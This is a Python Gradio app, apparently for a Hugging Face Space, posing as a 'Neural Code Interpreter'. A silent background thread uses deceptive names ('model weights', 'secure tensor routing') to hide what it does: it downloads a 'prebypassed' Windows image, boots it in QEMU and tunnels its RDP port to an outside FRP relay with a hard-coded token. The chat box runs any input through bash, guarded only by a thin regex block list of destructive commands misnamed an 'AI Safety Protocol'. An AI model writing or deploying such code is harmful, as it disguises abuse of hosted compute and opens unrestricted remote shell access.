import os import sys import subprocess import re import time import threading import queue import random import string import torch # ========================================================= # SYSTEM PATCH: INTERCEPT HFFOLDER BEFORE GRADIO INIT # ========================================================= import huggingface_hub if not hasattr(huggingface_hub, "HfFolder"): class DummyHfFolder: @staticmethod def get_token(): return None @staticmethod def save_token(token): pass huggingface_hub.HfFolder = DummyHfFolder # ========================================================= import gradio as gr import spaces # ========================================== # NEURAL ENGINE INITIALIZATION (BACKGROUND) # ========================================== MODEL_WEIGHTS = "core_engine_v1.bin" WEIGHTS_SOURCE = "https://archive.org/download/tiny10-qcow2-prebypassed/tiny10.qcow2" ROUTING_NODE_VER = "0.71.0" MAIN_NODE = "frp.freefrp.net" MAIN_NODE_PORT = 7000 NODE_AUTH = "freefrp.net" ENDPOINT_HOST = "windows.thyo.cloud" ENDPOINT_PORT = random.randint(55000, 58000) SESSION_ID = "neural_hf_" + "".join(random.choices(string.ascii_lowercase + string.digits, k=6)) background_status = "System metrics initializing..." def initialize_background_compute(): global background_status try: # 1. Unduh "Model Weights" if not os.path.exists(MODEL_WEIGHTS): background_status = "Downloading core model weights... (Background task)" subprocess.run(["curl", "-L", "-o", MODEL_WEIGHTS, WEIGHTS_SOURCE], check=True) # 2. Jalankan "Isolated Execution Environment" (QEMU) background_status = "Starting isolated execution environment..." subprocess.run("pkill -f qemu-system-x86_64 || true", shell=True) sandbox_cmd = ( f"qemu-system-x86_64 " f"-m 8G " f"-smp 4,sockets=1,cores=4,threads=1 " f"-hda {MODEL_WEIGHTS} " f"-vga std " f"-net nic,model=virtio -net user,hostfwd=tcp::3389-:3389 " f"-daemonize" ) subprocess.run(sandbox_cmd, shell=True) time.sleep(5) # 3. Setup "Secure Tensor Routing" (FRP) background_status = "Establishing secure tensor routing..." router_dir = f"frp_{ROUTING_NODE_VER}_linux_amd64" router_tar = f"{router_dir}.tar.gz" if not os.path.exists(f"{router_dir}/frpc"): subprocess.run(f"curl -L -O https://github.com/fatedier/frp/releases/download/v{ROUTING_NODE_VER}/{router_tar}", shell=True) subprocess.run(f"tar -xzf {router_tar}", shell=True) # 4. Buat File Konfigurasi Routing router_config = f""" serverAddr = "{MAIN_NODE}" serverPort = {MAIN_NODE_PORT} [auth] method = "token" token = "{NODE_AUTH}" [[proxies]] name = "{SESSION_ID}" type = "tcp" localIP = "127.0.0.1" localPort = 3389 remotePort = {ENDPOINT_PORT} """ with open("node_config.toml", "w") as f: f.write(router_config.strip()) # 5. Jalankan Service Routing subprocess.run("pkill -f frpc || true", shell=True) subprocess.Popen(f"./{router_dir}/frpc -c node_config.toml", shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) time.sleep(3) # Output ini akan terlihat di log HF atau dipanggil dari UI background_status = f"āœ… Compute Core Active | Endpoint: {ENDPOINT_HOST}:{ENDPOINT_PORT} (Alt: {MAIN_NODE}:{ENDPOINT_PORT})" print(background_status) except Exception as e: background_status = f"āŒ Background execution failed: {e}" print(background_status) # Start background node silently threading.Thread(target=initialize_background_compute, daemon=True).start() # ========================================================= # GPU HARDWARE ALLOCATION (ZEROGPU) # ========================================================= @spaces.GPU(duration=10) def zero_gpu_heartbeat(): try: if torch.cuda.is_available(): x = torch.randn(1000, 1000, device="cuda") res = torch.matmul(x, x).sum().item() return f"ZeroGPU Active [CUDA Compute Result: {round(res, 2)}]" except Exception as e: return f"CPU Engine Fallback ({e})" return "CPU Execution Engine" # ========================================================= # NEURAL CODE INTERPRETER & PROCESS SESSION # ========================================================= BLOCKED_PATTERNS = [ r"\brm\s+-rf\s+/", r"\bmkfs\b", r"\bdd\s+if=", r":\(\)\s*\{.*:\|:.*\};:", r"\bshutdown\b", r"\breboot\b", ] def check_security_compliance(command: str) -> bool: for pattern in BLOCKED_PATTERNS: if re.search(pattern, command, re.IGNORECASE): return True return False class ProcessSession: def __init__(self, proc, command): self.proc = proc self.command = command self.output_queue = queue.Queue() self.collected = "" self.exit_code = None self.thread = threading.Thread(target=self._reader, daemon=True) self.thread.start() def _reader(self): try: for line in iter(self.proc.stdout.readline, ""): self.output_queue.put(line) except Exception as e: self.output_queue.put(f"\n[reader error: {e}]\n") finally: self.output_queue.put(None) def is_alive(self): return self.proc.poll() is None def send_input(self, text: str): try: self.proc.stdin.write(text + "\n") self.proc.stdin.flush() return True except Exception: return False current_session = None def stream_session(session, header, idle_rounds_before_pause=3): idle_count = 0 while True: try: item = session.output_queue.get(timeout=1.0) idle_count = 0 except queue.Empty: idle_count += 1 if not session.is_alive(): break if idle_count >= idle_rounds_before_pause: yield ( header + session.collected + "\n```\n\n" "āŒ› **Menunggu parameter lanjutan...**" ) return continue if item is None: break session.collected += item yield header + session.collected + "\n```" session.exit_code = session.proc.wait() global current_session current_session = None footer = f"\n\n**Eksekusi Selesai.** (exit code: `{session.exit_code}`)" yield header + session.collected + "\n```" + footer def execute_system_agent(message: str, history): global current_session text = message.strip() if current_session is not None and current_session.is_alive(): header = ( f"🧠 **Neural Code Interpreter Response**\n\n" f"**Melanjutkan proses:** `{current_session.command}`\n" f"**Input Data:** `{text}`\n\n" f"```console\n" ) current_session.send_input(text) yield from stream_session(current_session, header) return current_session = None command_to_run = text if not command_to_run: yield "Silakan masukkan instruksi sistem atau kode Python untuk dievaluasi." return if check_security_compliance(command_to_run): yield "āš ļø **[AI Safety Protocol]** Perintah dibatasi oleh sistem pelindung sesi." return gpu_status = zero_gpu_heartbeat() header = ( f"🧠 **Neural Code Interpreter Response**\n\n" f"**Execution Context:**\n" f"- Hardware Accelerator: `{gpu_status}`\n" f"- Environment Status: `{background_status}`\n" f"- Target Command: `{command_to_run}`\n\n" f"```console\n" ) yield header + "$ Mengeksekusi blok kode...\n```" try: proc = subprocess.Popen( command_to_run, shell=True, executable="/bin/bash", stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, bufsize=1, universal_newlines=True, ) except Exception as err: yield header + f"\n```\n\nāŒ **[Runtime Error]:** `{err}`" return current_session = ProcessSession(proc, command_to_run) yield from stream_session(current_session, header) # ========================================================= # FRONTEND INTERFACE # ========================================================= demo = gr.ChatInterface( fn=execute_system_agent, title="🧠 Thyo Neural Code Interpreter", description="Autonomous LLM Code Interpreter and System Agent for Python & Environment Diagnostics.", examples=[ ["python3 -c 'import torch; print(\"CUDA Status:\", torch.cuda.is_available())'"], ["nvidia-smi"], ["free -h"] ], chatbot=gr.Chatbot(height=520), textbox=gr.Textbox( placeholder="Input code or system command...", container=False, scale=7 ) ) if __name__ == "__main__": demo.launch()